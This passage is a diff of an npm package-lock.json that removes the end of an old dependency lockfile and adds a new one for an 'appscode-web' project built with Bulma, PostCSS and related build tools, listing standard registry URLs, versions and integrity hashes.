"strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/string-width-cjs/node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/string-width-cjs/node_modules/emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true, - "license": "MIT" - }, - "node_modules/string-width-cjs/node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/strip-ansi": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", - "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^6.2.2" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/strip-ansi?sponsor=1" - } - }, - "node_modules/strip-ansi-cjs": { - "name": "strip-ansi", - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/strip-ansi-cjs/node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/thenby": { - "version": "1.3.4", - "resolved": "https://registry.npmjs.org/thenby/-/thenby-1.3.4.tgz", - "integrity": "sha512-89Gi5raiWA3QZ4b2ePcEwswC3me9JIg+ToSgtE0JWeCynLnLxNr/f9G+xfo9K+Oj4AFdom8YNJjibIARTJmapQ==", - "dev": true, - "license": "Apache-2.0" - }, - "node_modules/to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-number": "^7.0.0" - }, - "engines": { - "node": ">=8.0" - } - }, - "node_modules/universalify": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", - "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 10.0.0" - } - }, - "node_modules/update-browserslist-db": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", - "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "escalade": "^3.2.0", - "picocolors": "^1.1.1" - }, - "bin": { - "update-browserslist-db": "cli.js" - }, - "peerDependencies": { - "browserslist": ">= 4.21.0" - } - }, - "node_modules/util-deprecate": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", - "dev": true, - "license": "MIT" - }, - "node_modules/which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, - "license": "ISC", - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "node-which": "bin/node-which" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/wrap-ansi": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", - "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^6.1.0", - "string-width": "^5.0.1", - "strip-ansi": "^7.0.1" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/wrap-ansi?sponsor=1" - } - }, - "node_modules/wrap-ansi-cjs": { - "name": "wrap-ansi", - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", - "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.0.0", - "string-width": "^4.1.0", - "strip-ansi": "^6.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/wrap-ansi?sponsor=1" - } - }, - "node_modules/wrap-ansi-cjs/node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/wrap-ansi-cjs/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true, - "license": "MIT" - }, - "node_modules/wrap-ansi-cjs/node_modules/string-width": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "dev": true, - "license": "MIT", - "dependencies": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/wrap-ansi-cjs/node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/y18n": { - "version": "5.0.8", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", - "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", - "dev": true, - "license": "ISC", - "engines": { - "node": ">=10" - } - }, - "node_modules/yaml": { - "version": "1.10.2", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", - "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", - "dev": true, - "license": "ISC", - "engines": { - "node": ">= 6" - } - }, - "node_modules/yargs": { - "version": "17.7.2", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", - "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", - "dev": true, - "license": "MIT", - "dependencies": { - "cliui": "^8.0.1", - "escalade": "^3.1.1", - "get-caller-file": "^2.0.5", - "require-directory": "^2.1.1", - "string-width": "^4.2.3", - "y18n": "^5.0.5", - "yargs-parser": "^21.1.1" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/yargs-parser": { - "version": "21.1.1", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", - "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", - "dev": true, - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/yargs/node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/yargs/node_modules/emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true, - "license": "MIT" - }, - "node_modules/yargs/node_modules/string-width": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "dev": true, - "license": "MIT", - "dependencies": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/yargs/node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - } - } -} +{ + "name": "appscode-web", + "version": "0.2.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "appscode-web", + "version": "0.2.0", + "license": "Apache-2.0", + "dependencies": { + "bulma": "^0.9.4", + "postcss": "^8.4.12" + }, + "devDependencies": { + "@fullhuman/postcss-purgecss": "^6.0.0", + "autoprefixer": "^10.4.27", + "postcss-cli": "^9.1.0" + } + }, + "node_modules/@fullhuman/postcss-purgecss": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@fullhuman/postcss-purgecss/-/postcss-purgecss-6.0.0.tgz", + "integrity": "sha512-sUvk5PV7O5xvTJcxDYrQ00xlKtSxivvJdZrwgxE8F1GmNMs7w9U+dSbr83N/qEs9b+f+6QsZKXDs0k8nMjBIqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "purgecss": "^6.0.0" + }, + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", + "dev": true, + "license": "ISC", + "dependencies": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "license": "ISC", + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/array-union": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-3.0.1.tgz", + "integrity": "sha512-1OvF9IbWwaeiM9VhzYXVQacMibxpXOMYVNIvMtKRyX9SImBXpKcFr8XvFDeEslCyuH/t6KRt7HEO94AlP8Iatw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/autoprefixer": { + "version": "10.4.27", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.27.tgz", + "integrity": "sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/autoprefixer" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "browserslist": "^4.28.1", + "caniuse-lite": "^1.0.30001774", + "fraction.js": "^5.3.4", + "picocolors": "^1.1.1", + "postcss-value-parser": "^4.2.0" + }, + "bin": { + "autoprefixer": "bin/autoprefixer" + }, + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/baseline-browser-mapping": { + "version": "2.10.8", + "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.8.tgz", + "integrity": "sha512-PCLz/LXGBsNTErbtB6i5u4eLpHeMfi93aUv5duMmj6caNu6IphS4q6UevDnL36sZQv9lrP11dbPKGMaXPwMKfQ==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "baseline-browser-mapping": "dist/cli.cjs" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/binary-extensions": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", + "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.28.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz", + "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "baseline-browser-mapping": "^2.9.0", + "caniuse-lite": "^1.0.30001759", + "electron-to-chromium": "^1.5.263", + "node-releases": "^2.0.27", + "update-browserslist-db": "^1.2.0" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/bulma": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/bulma/-/bulma-0.9.4.tgz", + "integrity": "sha512-86FlT5+1GrsgKbPLRRY7cGDg8fsJiP/jzTqXXVqiUZZ2aZT8uemEOHlU1CDU+TxklPEZ11HZNNWclRBBecP4CQ==", + "license": "MIT" + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001780", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001780.tgz", + "integrity": "sha512-llngX0E7nQci5BPJDqoZSbuZ5Bcs9F5db7EtgfwBerX9XGtkkiO4NwfDDIRzHTTwcYC8vC7bmeUEPGrKlR/TkQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "CC-BY-4.0" + }, + "node_modules/chokidar": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", + "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/cliui/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/cliui/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/cliui/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/cliui/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cliui/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cliui/node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/commander": { + "version": "12.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", + "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "license": "MIT", + "bin": { + "cssesc": "bin/cssesc" + 